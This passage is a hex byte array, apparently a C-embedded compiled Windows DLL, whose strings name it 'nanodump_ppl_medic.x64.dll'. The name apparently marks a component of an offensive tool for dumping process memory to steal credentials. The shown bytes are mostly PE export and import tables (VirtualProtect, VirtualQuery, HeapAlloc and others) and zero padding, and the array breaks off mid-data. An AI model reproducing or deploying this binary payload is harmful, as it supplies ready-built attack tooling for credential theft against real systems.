0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xB8,0x79,0x7A,0x68,0x00,0x00,0x00,0x00,0x32,0x70,0x01,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x70,0x01,0x00,0x2C,0x70,0x01,0x00,0x30,0x70,0x01,0x00,0x87,0xDF,0x00,0x00,0x4D,0x70,0x01,0x00,0x00,0x00,0x6E,0x61,0x6E,0x6F,0x64,0x75,0x6D,0x70,0x5F,0x70,0x70,0x6C,0x5F,0x6D,0x65,0x64,0x69,0x63,0x2E,0x78,0x36,0x34,0x2E,0x64,0x6C,0x6C,0x00,0x44,0x6C,0x6C,0x4D,0x61,0x69,0x6E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x80,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x80,0x85,0x01,0x00,0xB0,0x81,0x01,0x00,0xB8,0x80,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x08,0x86,0x01,0x00,0x28,0x82,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x38,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x50,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x60,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x72,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x7E,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x8A,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xA6,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xBE,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xCC,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xD8,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xE0,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xEE,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x1E,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x2C,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x38,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x40,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x4A,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x54,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x60,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x68,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x72,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x7A,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x84,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x90,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x9A,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xA4,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xAE,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xB6,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xC0,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xC8,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xD2,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xDC,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xE6,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xF0,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xFA,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x14,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x1E,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x28,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x32,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x3C,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x38,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x50,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x60,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x72,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x7E,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x8A,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xA6,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xBE,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xCC,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xD8,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xE0,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0xEE,0x83,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x1E,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x2C,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x38,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x40,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x4A,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x54,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x60,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x68,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x72,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x7A,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x84,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x90,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x9A,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xA4,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xAE,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xB6,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xC0,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xC8,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xD2,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xDC,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xE6,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xF0,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0xFA,0x84,0x01,0x00,0x00,0x00,0x00,0x00,0x08,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x14,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x1E,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x28,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x32,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x3C,0x85,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x19,0x01,0x44,0x65,0x6C,0x65,0x74,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x3D,0x01,0x45,0x6E,0x74,0x65,0x72,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0x74,0x02,0x47,0x65,0x74,0x4C,0x61,0x73,0x74,0x45,0x72,0x72,0x6F,0x72,0x00,0x00,0xCA,0x02,0x47,0x65,0x74,0x50,0x72,0x6F,0x63,0x65,0x73,0x73,0x48,0x65,0x61,0x70,0x00,0x00,0x5D,0x03,0x48,0x65,0x61,0x70,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x63,0x03,0x48,0x65,0x61,0x70,0x46,0x72,0x65,0x65,0x00,0x00,0x7A,0x03,0x49,0x6E,0x69,0x74,0x69,0x61,0x6C,0x69,0x7A,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0xD6,0x03,0x4C,0x65,0x61,0x76,0x65,0x43,0x72,0x69,0x74,0x69,0x63,0x61,0x6C,0x53,0x65,0x63,0x74,0x69,0x6F,0x6E,0x00,0x00,0xE3,0x03,0x4C,0x6F,0x63,0x61,0x6C,0x41,0x6C,0x6C,0x6F,0x63,0x00,0x00,0xE8,0x03,0x4C,0x6F,0x63,0x61,0x6C,0x46,0x72,0x65,0x65,0x00,0x7F,0x05,0x53,0x6C,0x65,0x65,0x70,0x00,0xA2,0x05,0x54,0x6C,0x73,0x47,0x65,0x74,0x56,0x61,0x6C,0x75,0x65,0x00,0xD1,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x50,0x72,0x6F,0x74,0x65,0x63,0x74,0x00,0x00,0xD3,0x05,0x56,0x69,0x72,0x74,0x75,0x61,0x6C,0x51,0x75,0x65,0x72,0x79,0x00,0x00,0x54,0x00,0x5F,0x5F,0x69,0x6F,0x62,0x5F,0x66,0x75,0x6E,0x63,0x00,0x00,0x78,0x00,0x5F,0x61,0x6D,0x73,0x67,0x5F,0x65,0x78,0x69,0x74,0x00,0x00,0x1D,0x01,0x5F,0x69,0x6E,0x69,0x74,0x74,0x65,0x72,0x6D,0x00,0x83,0x01,0x5F,0x6C,0x6F,0x63,0x6B,0x00,0xB3,0x02,0x5F,0x74,0x69,0x6D,0x65,0x36,0x34,0x00,0xCA,0x02,0x5F,0x75,0x6E,0x6C,0x6F,0x63,0x6B,0x00,0x0B,0x03,0x5F,0x77,0x63,0x73,0x69,0x63,0x6D,0x70,0x00,0x00,0x87,0x03,0x61,0x62,0x6F,0x72,0x74,0x00,0x98,0x03,0x63,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x00,0xC0,0x03,0x66,0x72,0x65,0x65,0x00,0x00,0xCD,0x03,0x66,0x77,0x72,0x69,0x74,0x65,0x00,0x00,0x00,0x04,0x6D,0x62,0x73,0x74,0x6F,0x77,0x63,0x73,0x00,0x00,0x04,0x04,0x6D,0x65,0x6D,0x63,0x6D,0x70,0x00,0x00,0x05,0x04,0x6D,0x65,0x6D,0x63,0x70,0x79,0x00,0x00,0x07,0x04,0x6D,0x65,0x6D,0x73,0x65,0x74,0x00,0x00,0x19,0x04,0x72,0x61,0x6E,0x64,0x00,0x00,0x1A,0x04,0x72,0x65,0x61,0x6C,0x6C,0x6F,0x63,0x00,0x2E,0x04,0x73,0x72,0x61,0x6E,0x64,0x00,0x35,0x04,0x73,0x74,0x72,0x63,0x6D,0x70,0x00,0x00,0x3C,0x04,0x73,0x74,0x72,0x6C,0x65,0x6E,0x00,0x00,0x3F,0x04,0x73,0x74,0x72,0x6E,0x63,0x6D,0x70,0x00,0x40,0x04,0x73,0x74,0x72,0x6E,0x63,0x70,0x79,0x00,0x43,0x04,0x73,0x74,0x72,0x72,0x63,0x68,0x72,0x00,0x4E,0x04,0x73,0x77,0x70,0x72,0x69,0x6E,0x74,0x66,0x5F,0x73,0x00,0x00,0x60,0x04,0x76,0x66,0x70,0x72,0x69,0x6E,0x74,0x66,0x00,0x00,0x7A,0x04,0x77,0x63,0x73,0x6C,0x65,0x6E,0x00,0x00,0x7B,0x04,0x77,0x63,0x73,0x6E,0x63,0x61,0x74,0x00,0x7E,0x04,0x77,0x63,0x73,0x6E,0x63,0x70,0x79,0x00,0x82,0x04,0x77,0x63,0x73,0x72,0x63,0x68,0x72,0x00,0x85,0x04,0x77,0x63,0x73,0x73,0x74,0x72,0x00,0x00,0x00,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x00,0x80,0x01,0x00,0x4B,0x45,0x52,0x4E,0x45,0x4C,0x33,0x32,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x14,0x80,0x01,0x00,0x6D,0x73,0x76,0x63,0x72,0x74,0x2E,0x64,0x6C,0x6C,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x10,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xE1,0xAD,0x68,0x03,0x00,0x00,0x00,0xD0,0xE0,0xAD,0x68,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,